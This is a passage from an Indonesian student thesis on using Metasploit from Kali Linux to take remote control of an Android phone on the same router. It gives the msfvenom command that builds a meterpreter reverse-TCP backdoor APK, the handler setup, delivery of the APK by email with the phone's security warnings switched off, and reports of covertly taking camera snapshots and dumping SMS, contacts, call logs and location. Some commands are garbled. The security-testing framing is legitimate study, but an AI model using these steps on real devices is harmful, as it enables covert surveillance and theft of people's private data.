sebagai penunjang pembuatan sistem. 

5. Desain topologi  adalah mendesain topologi jaringan yang akan digunakan 

dalam pengimplementasian sistem. 

6. Input dan Output adalah mencari masukan dari luar ataupun dalam untuk 

membuat sistem yang akan dibangun. 

7. Perancangan sistem adalah merancang sistem sesuai kebutuhan yang 

diperlukan, yang bersumber dari masalah yang telah dirumuskan. 

8. Installasi dan konfigurasi sistem adalah menginstall dan mengkonfigurasikan 

sistem sesuai kinerja yang di inginkan. 

9. Implementasi adalah mengimplemantasikan sistem yang sudah terbangun. 

10. Pengujiaan adalah menguji coba dan menjalankan sistem secara lengkap dan 

rinci   untuk melihat hasil secara keseluruhan. 
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3. 2 Analisis Masalah 

Perkembangan teknologi dari zaman ke zaman semakin meningkat, tidak 

hanya pada perangkat kerasnya daja namun juga terhadap perangkat lunaknya. 

Dengan semakin mudahnya mendapatkan informasi dari internet, dan semakin 

leluasanya setiap orang dapat mempelajari ilmu dari internet maka akan ada 

dampak baik dan buruk yang akan dihasilkan. 

Disini penulis melihat dampak buruk yang bisa dihasilkan dari semakin 

berkembangnya ilmu dalam bidang teknologi dan semakin mudah untuk 

mendapatkannya, hacking dan cracking merupakan salah satu contoh 

permasalahan yang ditimbulkan dari semakin berkembangnya ilmu teknologi. 

Salah satunya yaitu Metasploit framework. 

Metasploit framework merupakan sebuah Penetration tool yang cukup 

kuat untuk melakukan penetrasi kedalam sebuah sistem. Disini penulis akan 

melakukan implementasi metasploit framework  pada sebuah smarthphone yang 

menggunakan OS Android. Uji coba ini bertujuan untuk menguji sistem 

keamanan pada OS android dengan menggunakan metode ini. Android dipilih 

karena merupakan sebuah OS yang digunakan pada hampir setiap smartphone 

pada zaman sekarang. 

Metasploit framework ini nantinya akan bekerja dengan cara mencoba 

masuk kedalam sistem android lalu meremote atau mengambil alih HP tanpa 

diketahui sang pemilik. Oleh sebab itu pengujian ini sangat penting dilakukan 

untuk mencegah terjadinya hal yang tidak kita inginkan. 
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3. 2.1 Perangkat yang Digunakan untuk Mengimplementasikan Metasploit 

framework  pada sistem operasi android. 

Dalam penerapan   Metasploit framework sebagai metode untuk pengujian 

sistem keamanan pada android, maka membutuhkan beberapa perangkat 

pendukung agar  yang dibuat dapat berjalan dengan baik sesuai dengan 

perencanaan. Adapun perangkat yang digunakan terbagi menjadi dua bagian, 

sebagai berikut: 

1. Perangkat Keras (Hardware) 

a. Laptop Dell Inspiron dengan processor intel core i3 (sebagai Metasploit 

framework) 

b. Wireless router TP-LINK TL-WR840N 

c. Sebuah smartphone OPPO F1 (sebagai target).  

2. Perangkat Lunak (Software) 

a. Kali Linux  yang digunakan sebagai Operating System dalam menjalankan 

Metasploit framework. 

b. android,   

c. Windows 10 

 

3. 2.2 Teknik Pemecahan Masalah 

Pada Implementasi Metasploit framework yang menggunaka kali linux 

sebagai uji coba sistem keamanan android ini mempunyai beberapa poin teknik 

dalam pemecahannya, sebagai berikut: 
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1. Untuk langkah awal dalam implementasi ini, harus menginstall Metasploit 

framework dari repository kali linux. 

2. Mengkonfigurasikan Metasploit framework pada kali linux melalui terminal. 

3. Memasang Metasploit framework pada android. 

4. Membangun Metasploit framework pada kali linux dan menghubungkannya 

ke android. 

5. Menghubungkan Metasploit framework  dengan router untuk melakukan 

serangan pada android. 

6. Perancangan ini membutuhkan perangkat keras maupun perangkat lunak 

dalam melakukan uji coba Metasploit framework ini hingga berjalan sesuai 

dengan rancangan. 

7. Kemudian pada proses pengujian ini akan dilakukan secara keseluruhan 

termasuk menguji coba keamanan android melalui 1 jaringan yang sama 

menggunakan router, dimana bertujuan untuk mengetahui apakah perancangan 

sistem sudah sesuai dengan rencana yang sebelumnya dibuat.  

 

3. 3. Konsep Implementasi  Metode Metasploit Framework pada Sistem 

Keamanan Android.  

Konsep yang digunakan untuk uji coba penyerangan terhadap sistem 

keamanan android ini menggunakan metode Metasploit framework adalah, dengan 

cara menghubungkan antara Metasploit framework dan smartphone yang 

menggunakan OS Android melalui jaringan yang sama. Untuk menghubungkan 

keduanya maka di gunakan router dengan alamat IP 192.168.130.1 yang 

kemudian akan saling terhubung antara 1 dan lainnya. 
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Implementasi ini akan berhasil apabila disaat Metasploit framework  

melakukan penetrasi kedalam smartphone dan kemudian HP tersebut dapat di 

control melalui PC Metasploit framework. Maka dari itu berarti implementasi 

Metasploit framework atas sistem operasi android dengan menggunakan alamat 

router yang sama telah berhasil. 

 

3. 3.1   Skema kinerja Metasploit framework 

Metasploit framework merupakan sebuah metode penyerangan yang 

melakukan penetrasi kedalam sistem keamanan pengguna dalam 1 jaringan yg 

sama. Dalam implentasi ini akan di uji coba pada sistem keamanan android, 

dimana nanti Metasploit framework akan melakukan penyerangan terhadap sistem 

keamanan android dan kemudian akan melakukan remote control dari jarak jauh. 

Kemudian akan mencoba mengakses data-data pribadi pada smartphone OPPO F1 

, tanpa diketahui oleh sang pemilik. 

Untuk melakukan implementasi ini penulis menggunakan sistem operasi 

kali linux yang dijalankan pada laptop DELL intell core i3. Kenapa Metasploit 

framework ini dijalankan pada kali linux?. Karena pada kali linux Metasploit 

framework dapat di install melalui repository kali linux tersebut, dan pada kali 

linux Metasploit framework dijalankan dengan perintah command line. Karena itu 

Metasploit framework sangat cocok digunakan untuk melakukan uji coba pada 

sistem keamanan android, karena akan melakukan serangan langsung untuk 

memperoleh object yang di inginkan. 
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3. 3.2 Topologi Jaringan Metasploit Framework pada Android. 

Topologi jaringan adalah penyusunan jaringan yang diambil dari beberapa 

komponen yang ada kaitannya didalam jaringan tersebut, Metasploit framework 

juga memiliki topologi jaringan sendiri yang membuat semua komponen saling 

terhubung dan bisa di akses oleh user, berikut adalah gambar dari topologi 

jaringan Metasploit framework yang dibangun: 

 

Gambar 3.2 Topologi Jaringan Metasploit framework 
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3. 4. Membangun Metasploit Framework 

Metasploit framework merupakan sebuah metode penyerangan yang 

digunakan untuk meremote target. Untuk membangun Metasploit framework 

pertama harus menginstall terlebih dahulu pada repository kali linux. Dalam 

Metasploit framework dibutuhkan beberapa rules untuk bisa menghubungkan 

antara Metasploit framework dan smartphone android. 

3. 4.1  Konfigurasi Metasploit framework 

Untuk menjalankan sebuah Metasploit framework perlu dilakukan 

konfigurasi penginstallan layanan yang akan digunakan dalam sebuah Metasploit 

framework. Berikut layanan yang harus di install pada Metasploit framework. 

1. Installasi Metasploit Framework 

Buka terminal pada kali linux lalu install metasploit framework dengan 

perintah Msfvenom –p android/meterpreter/reverse_tcp 

LHOST=192.168.130.1=4444 R>backdoor.apk. Kemudian akan mealakukan 

proses seperti yang diminta, lalu akan muncul pertanyaan Do you want continue? 

[Y/n] pilih Y. 
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Gambar 3.3 Tampilan metasploit framework 

Di sini setelah melakukan penginstallan kemudian kali linux akan 

melakukan konfigurasi pada IP address. 

Adapun langkah – langkahnya : 

a. Setting IP address 

Untuk mensetting ip address sesuai dengan yang ingin digunakan pada 

metasploit framework ini maka pertama kita harus melihat dulu dengan 

mengetikan Ifconfig. Kemudia akan muncul alamat ip yang digunakan untuk 

melakukan percobaan tersebut. Berikut penerapannya : 
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Gambar 3.4 konfigurasi IP addres di kali linux 

 

b. Membuat apk metsploit framework. 

Masukan perintah untuk membuat apk metasploit framework yang nanti 

akan ditambahkan pada OS android. masukan perintah Msfvenom –p 

android/meterpreter/reverse_tcpLHOST=192.168.130.1=4444 

R>backdoor.apk. Kemudian akan terjadi proses penginstallan beberapa menit, 

setelah itu akan muncul seperti gambar berikut : 
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Gambar 3.5 pembuatan APK pada Metasploit framework di kali linux. 

 

Pada gambar diatas apk yang telah di buat akan tersimpan pada menu home di 

repository kali linux. Kemudian apk inilah yang nantinya akan menjadi 

penghubung antara OS android dan Metasploit framework di kali linux.  

 

2. Konfigurasi metasploit framework 

Setelah penginstallan metasploit framework pada kali linux langkah 

selanjutnya adalah metasploit framework, harus di konfigurasikan terlebih dahulu. 

Pada konfigurasi ini nantinya akan ditambahkan beberapa perintah yang di 

ketikkan pada Terminal untuk menghubungkan antara metasploit framework yang 

berjalan pada kali linux dan smartphone yang menggunakan OS Android. 

 

3. Konfigurasi msfconsole  

Service postgresql start. Merupakan sintaks untuk menjalankan msfconsole. 
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Gambar 3.6 konfigurasi msfconsole. 

 

Jalankan msfconsole nya, sambil menunggu msfconsole, jalankan apk 

yang telah diinstall tadi. Maksudnya apk yang telah dibuat tadi nantinya akan 

dikirim ke hp android dan akan di install. Kemudian ketikan msfconcole dan akan 

kembali ketampilan sebagai berikut : 

 

Gambar 3.7 konfigurasi msfconsole 
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4. Konfigurasi payload metasploit 

Ketikkan use exploit/multi/handler pada terminal Kali linux .Perintah ini 

digunakan untuk mengkonfigurasikan payload yang telah dibuat diawal tadi. 

 

Gambar 3.8 Penginstallan TELNET 

 

Kemudian setting payload dengan perintah set payload 

android/meterpreter/resverse_tcp. meterpreter/resverse_tcp disini harus  sesuai 

dengan perintah awal ketika kita membuat apk untuk android. 

Msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.130.1 

LPORT=4444 R>backdoor.apk. Karena payload ini dijalankan berdasarkan apk 

yang telah dibuat. 



35 
 

 

 

Gambar 3.9  konfigurasi payload 

 

5. Konfigurasi LHOST  
 

Setting local host sesuai dengan IP pada kali linux dengan perintah set 

LHOST=192.168.130.1. Disini localhost harus sesuai dengan perintah awal 

pembuatan APK, yaitu Msfvenom –p android/meterpreter/reverse_tcp 

LHOST=192.168.130.1 LPORT=4444 R>backdoor.apk. 
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Gambar 3.10 konfigurasi LHOST 

 

6. Konfigurasi LPORT 

Untuk mensetting LPORT ketikan perintah set LPORT=4444, bebas mau 

diisikan berapa saja, yang penting 4 digit. Disini saya menggunakan LPORT 4444 

sesuai dengan apa yang telah dibuat diawal.  

Msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.130.1 

LPORT=4444 R>backdoor.apk 

 

Gambar 3.11 konfigurasi LPORT 
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3. 4.2 Flowchart Metasploit Framework 

 

Gambar 3.12 Flowchart proses metasploit framework. 



38 
 

 

3. 5  Topologi Jaringan attacker 

Topologi jaringan adalah penyusunan jaringan yang diambil dari 

komponen-komponen yang terkait didalam jaringan tersebut, attacker juga 

memiliki topologi jaringan sendiri yang membuat semua komponen saling 

terhubung dan bisa di akses oleh user, berikut adalah gambar dari topologi 

jaringan attacker yang dibangun: 

 

Gambar 3.13 Topologi Jaringan attacker 
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Setelah kebutuhan layanan yang ingin dibangun telah di install dan di 

konfigurasikan maka serangan dapat dilakukan terhadap smarthphone android 

pada penyerangan metasploit framework ini. akan ada beberapa perintah yang 

akan di lakukan : 

1. Untuk memulai penyerangan ketikan perintah “ exploit “ 

 

Gambar 3.14 Perintah exploit. 

 

2. Kemudian masukan “ ? “ untuk melihat perintah apa saja yang terdapat untuk 

meremote android. 
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Gambar 3.15 Menu perintah untuk exploit. 

 

3. Lakukan penyerangan terhadap android, contohnya ambil gambar dengan 

perintah “ webcam_snap” 

 

Gambar 3.16 Menginput “webcam_snap”. 
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3. 6 Installasi APK pada Android 

Untuk menginstall APK yang ada pada android pertama kita harus. 

Membuat APK terlebih dahulu dengan perintah Msfvenom –p 

android/meterpreter/reverse_tcp LHOST=192.168.130.1 LPORT=4444 

R>backdoor.apk. pada kali linux. Kemudian APK tersebut harus dikirim melalui 

email Caranya sebagai berikut: 

1.  Installasi APK 

Masukan perintah pada repository kali linux. Kemudian kirimkan melalui 

email. Setelah masuk ke dalam email di hp android, lalu install apk tersebut 

seperti biasa cara menginstall aplikasi pada hp android. Dengan catatan matikan 

terlebih dahulu izin privasi aplikasinya. Seperti berikut: 

 

 

 

 

 

 

 

 

Gambar  3.17 Mematikan izin privasi aplikasi 
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Pertama pilih pengaturan pada hp anda kemudian pilih pusat keamanan > 

pilih Peringata penolakan izin yang dipakai > lalu matikan > selesai. Hal tersebut 

harus dimatikan Karena APK yang dibuat untuk melakukan metasploit framework 

ini bersifat tidak resmi atau illegal dan dianggap aplikasi berbahaya, oleh sebab itu 

harus dimatikan. 

 

 

    

 

 

 

 

 

 

 

 

 

 

 

 

Gambar 3.18 mematikan izin privasi aplikasi 
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3. 7 Konfigurasi Router TP-LINK WR840 

Router merupakan sebuah perangkat yang bekerja sebagai pembagi paket-

paket jaringan, atau disebut juga sebagai jembatan jaringan. Router membagikan 

jaringan dari server ke client, dan pada router yang saya gunakan ini pembagian 

jaringan akan dilakukan secara wireless atau sering disebut jaringan nirkabel. 

Untuk mengkonfigurasikan router ini, harus melalui browser yang tersedia 

dan memasukan ip router tersebut. Ip router ialah 192.168.130.1. Berikut 

langkah-langkah konfigurasi router TP-LINK WR840N. 

3 .7.1 Konfigurasi IP Address Router 

Untuk menghubungkan sebuah jaringan harus memiliki sebuah kesatuan 

atau mengubungkan satu dengan yang lainnya. Karena itu router harus di setting 

supaya bisa terkoneksi dengan server dan dapat membagikannya ke client. 

Pertama setting IP address pada LAN, dengan IP address 192.168.130.1 dan 

subnet mask 255.255.255.0. 

 

Gambar 3.19 Konfigurasi Router 
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Kemudian setelah IP address LAN diatur dengan IP 192.168.130.1 

kemudian save. 

 

3. 8  Rincian Biaya Penelitian 

Dalam sebuah penelitian ada beberapa alat yang dibutuhkan untuk 

menunjang penelitian ini. Seperti Laptop, Smartphone, dan Router, maka dari itu 

berikut rincian alat dan biaya yang dibutuhkan : 

Tabel 3.1 Rincian Harga Barang Yang Digunakan Dalam Penelitian 

 

NO BAHAN JUMLAH 

HARGA 

(Rp) 

1 Laptop Dell inspiron n4030 1 6.200.000 

2 Smartphone OPPO F1 1 3.000.000 

3 Router TP-LINK WR840-N 1 300.000 

TOTAL 3 Rp.9.500.000 
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BAB IV 

IMPLEMENTASI DAN HASIL 

 

4.1 Serangan Metasploit Framework 

Serangan Metasploit Framework bekerja dengan cara mengehack sistem 

android secara tesistematis, sehingga apa bila serangan ini berhasil maka 

smartphone tersebut dapat dikendalikan dari laptop pengguna metasploit 

framework. Apabila smartphone tersebut sudah dapat dimasuki metasploit 

framework, maka seorang penyerang atau hacker dia akan dengan mudah masuk 

serta mengendalikan smartphone tersebut dan bisa mencuri isi serta data pribadi 

dalam smartphone target. 

 Serangan ini bisa dilakukan dengan beberapa cara, dan disini saya akan 

menggunakan script perintah di terminal dari kali linux untuk menyerang android 

tersebut. 

 

4.1.1 Script untuk membuat serangan metasploit framework 

Berikut adalah salah satu cara yang digunakan untuk menguji coba 

serangan ke android menggunakan metasploit framework, dalam hal ini nantinya 

akan di uji coba apakah pada sistem operasi android 5.1 dapat ditembus atau tidak 

oleh serangan metasploit framework berikut langkahnya : 

a. Melakukan exploit pada android 

Pada bab 3 telah dibahas bagaimana cara membangun metasploit 

framework pada kali linux, setelah semuanya sudah di konfigurasikan maka 

langkah selanjutnya adalah melakukan penyerangan terhadap sistem kerja 
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android menggunakan metasploit framework. Nantinya setelah dilakukan 

serangan pada sistem kerja android maka smartphone target akan dapat di 

remote dari jarak jauh oleh kali linux, tanpa diketahui sang pemilik 

smartphone.  

Untuk mengeksekusi metasploit framework ini kita hanya butuh 

mengetikan 1 perintah lagi pada terminal kali linux yaitu exploit setelah 

perintah diketikan maka akan terhubung antara PC kali linux dan smartphone 

target. Berikut exploit yang sedang berjalan : 

 

Gambar 4.1 Uji Coba Serangan metasploit framework
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Setelah exploit teah dilakukan maka antara PC dan smartphone  akan saling 

terhubung, kemudian untuk membuktikan apakah serangan telah berhasil 

dilakukan serta antara kali linux dan smartphone sudah saling terhubung maka 

akan dilakukan uji coa pengetesan mengambil gambar melalui kamera HP yang 

sudah di remote oleh kali linux. 

 

4.1.2 Melalukan remote android melalui kali linux 

Remote android merupakan seuah serangan yang dilakukan menggunakan 

metasploit framework dimana serangan terhadap sistem kerja android yang akan 

di remote melalui perintah-perintah yang akan dijalakan melalui kali linux. Pada 

dasarnya serangan ini bertujuan untuk menguji coba apakah sistem keamanan 

pada android 5.1 dapat di tembus atau tidak. 

Pada android 5.1 telah dikalim bahwa memiliki sistem keamanan yang 

baik sehingga tidak bisa di serang oleh hacker, namun disini kita akan 

mematahkan hal tersebut dan membuktikan bahwasannya sistem keamanan pada 

android sangat lemah. Sehingga semoga saja dengan dilakukan uji coba ini dapat 

membuat android mengupgrade sistem keamanannya. 

Untuk melakukan perintah-perintah apa saja yang bisa dijalankan pada kali 

linux untuk meremote android, kita perlu melihat dulu apakah sudah terhubung 

kedalam android dengan perintah sysinfo seperti berikut : 
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Gambar 4.2 info perangkat android yang terhubung. 

Pada gambar di atas sudah jelas bahwasannya kita sudah bisa masuk 

kedalam sistem kinerja pada android. untuk membuktikannya kita akan 

melakukan remote melalui kali linux untuk mengambil foto pada smartphone 

tersebut. Berikut perintah-perintah yang dapat kita lihat untuk mengambil gambar 

di smartphone melalui kali linux : 

 

Gambar 4.3 Perintah-perintah untuk remote android. 
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Gambar 4.4 Perintah-perintah untuk remote android. 

 

 

Gambar 4.5 Perintah-perintah untuk remote android. 

 

 



50 
 

 

 

Gambar 4.6 Perintah-perintah untuk remote android. 

 

 

Gambar 4.7 Perintah-perintah untuk remote android. 
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Dari gambar diatas dapat dilihat beberapa perintah yang bisa dijalankan 

melalui kali linux untuk meremote smartphone, untuk melakukan pengambilan 

gambar pada smartphone melalui kali linux, digunakan perintah sebagai berikut : 

- Webcam_list digunakan untuk melihat kamera. 

- Webcam_snap digunakan untuk mengambil gambar melalui kamera. 

Berikut hasil gambar dari smartphone : 

 

 

Gambar 4.8 Hasil gambar dari kamera remote android. 

 

Gambar di atas merupakan hasil dari pengambilan gambar melalui 

perintah pada kali linux,pengambilan gambar yang dilakukan menghasilkan 

resolusio gambar yang sangat buruk .Tetapi, disini dapat di simpulkan bahwa 

kinerja metasploit framework pada sistem kinerja android telah berhasil. 
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Gambar 4.9 Tampilan pesan sms pada android. 

 

 

Gambar 4.10 Tampilan pesan sms pada android. 

 

Pada SMS Message dump diatas terlihat bahwa semua pesan yang 

tersimpan di android pengguna berhasil didapatkan, seluruh pesan, jam, dan 

tanggal sms diterima terlihat. 
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Gambar 4.11 Hasil Gambar dari log panggilan android. 

 

Terlihat pada gambar diatas merupakan data panggilan yang merupakan 

panggilan masuk dan panggilan keluar pengguna pada perangkat android, mulai 

dari jam panggilan, durasi panggilan, hari & tanggal serta nama pengguna yang 

telah melakukan panggilan ke handphone pengguna tersebut. 

 

Gambar 4.12 hasil Gambar dari system info android. 

 

Pada gambar diatas terlihat penulis melakukan pemeriksaan operating 

system pada android dan dikirim ke localhost, metasploit melakukan checking 
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terhadap system operasi yang digunakan oleh pengguna. Terdapat informasi di 

android dengan Sistem Operasi Android 5.0.2 (Lolipop), dengan kernel linux, dan 

Processor ARM7l. 

 

Gambar 4.13  Gambar dari list aplikasi yang terinstall di android. 

 

Gambar diatas memperlihatkan beberapa aplikasi-aplikasi yang terinstall 

pada perangkat android pengguna, tersedia informasi nama dan package yang 

digunakan . Ini juga menampilkan kondisi aplikasi sedang dijalankan atau tidak. 
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Gambar 4.14  Hasil gambar dari daftar kontak di android. 

 

 

Gambar 4.15  Hasil gambar dari daftar kontak di android. 

 

Gambar diatas memperlihatkan beberapa daftar kontak pengguna android 

yang berhasil didapatkan mengguna metasploit framework, terdapat informasi 
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nama dan nomor telpon pengguna, dan nomor urutan sesuai dengan nomor 

telepon yang tersimpan di android. 

 

Gambar 4.16  Hasil gambar dari cek lokasi android. 

 

Penulis melakukan pengecekan lokasi pengguna android saat ini, terdapat 

beberapa informasi yang dapat dilihat seperi lokasi latitude, dan longitude. Untuk 

melihat informasi melalui google maps dengan mengklik link yang ada di 

terminal kali linux. 

4.2 Pengukuran Kinerja Metasploit framework 

Kinerja metasploit framework dapat di ukur dari berhasil tidaknya 

melakukan peremotan terhadap target yaitu smartphone android, dalam uji coba 

ini metasploit framework yang dijalankan pada kali linux berhasil melakukan 

peremotan terhadap smartphone target. Dalam serangkaian uji coba yang 
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dilakukan didapatkan hasil gambar melalui perintah webcam_snap. Jadi 

kesimpulan uji coba dapat di uraikan pada tabel berikut: 

Tabel 4.1 hasil uji coba metasploit framework 

No Jenis Serangan Target Keterangan 

1 Metasploit Framework Android 5.1 Succes 

2 Metasploit Framework Android 6.1 Succes 

3 Uji coba kamera Android 5.1 Succes 

4 Uji coba kamera Android 6.1 Succes 

5 Cek lokasi android Android 5.1 Failed 

6 Cek lokasi android Android 5.1 Failed 

7 Cek kontak pada android Android 5.1 Succes 

8 Cek kontak pada android Android 6.1 Succes 

9 Kirim pesan pada android Android 5.1 Succes 

10 Kirim pesan pada android Android 6.1 Succes 

11 Daftar aplikasi pada android Android 5.1 Succes 

12 Daftar aplikasi pada android Android 6.1 Succes 

 

Kesimpulan dari tabel diatas adalah : 

1. Uji coba metasploit framework pada Android 5.1, pada uji coba ini 

metasploit framework dapat dengan mudah meremote smartphone target 

yang menggunakan sistem operasi Android 5.1. 

2. Uji coba metasploit framework pada Android 6.1, pada uji coba ini 

metasploit framework dapat dengan mudah meremote smartphone target 

yang menggunakan sistem operasi Android 6.1. 
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3. Pada uji coba metasploit framework pada android 5.1 dan android 6.1 

pengambilan gambar melalui kamera depan tidak bisa terdeteksi/gagal di 

terminal kali linux.   

4. Pada percobaan metasploit framework pada android 5.1 dan android 6.1 

lokasi dapat di buka apabila android sudah di root. Jika tidak yang terlihat 

hanya di terminal , tidak bisa memperlihakan di google maps pada web 

browser pc/laptop kita. 
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BAB V 

PENUTUP 

 

5. 1 Kesimpulan 

Dari pembahasan di atas tentang “Implementasi Metasploit Framework Untuk 

Meremote Android Dalam Satu Router Yang Sama Menggunakan Kali Linux”, 

penulis dapat menarik beberapa kesimpulan yang mana nantinya dapat berguna bagi 

para pembaca dan juga mayarakat umum lainnya. Beberapa kesimpulan dapat dilihat 

sebagai berikut: 

1. Perancangan sistem ini dibangun dari awal dengan tujuan untuk uji coba 

keamanan yang ada pada sistem operasi android, dari berbagai macam serangan 

salah satunya metasploit framework. Sehingga sistem operasi android dapat di 

remote melalui kali linux. 

2. Pada implementasi ini metasploit framework  mampu masuk kedalam sistem kerja 

smartphone target, sehingga dapat meremote dari jarak jauh..  

3. Implementasi metasploit framework ini dapat dilakukan apa bila antara penyerang 

dan target berada dalam 1 jaringan yang sama.. 

4. Metasploit framework ini berjalan pada sistem operasi kali linux. 

5. Sistem ini bersifat gratis sehingga mudah untuk mengimplementasikannya di 

dalam pelaksanaan uji coba yang sifanya ilmiah. 
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5. 2 Saran  

Dari hasil impelementasi metasploit framework pada android, maka terdapat 

saran yang ditujukan pada para pengguna untuk pengembangan selanjutnya, sebagai 

berikut: 

1. Perancangan sistem keamanan pada android harus lebih ditingkatkan karena 

terdapat celah yang jelas merugikan apabila ada orang yang tidak bertanggung 

jawab ingin memanfaatkan untuk kejahatan.  

2. Bagi para pengguna smartphone android ada baiknya menginstall apikasi 

kemanan tambahan yang dapat mencegah serangan-serangan yang masuk, serta 

ada baiknya membackup data-data pribadi yang ada di smartphone ke perangkat 

yang lain. 
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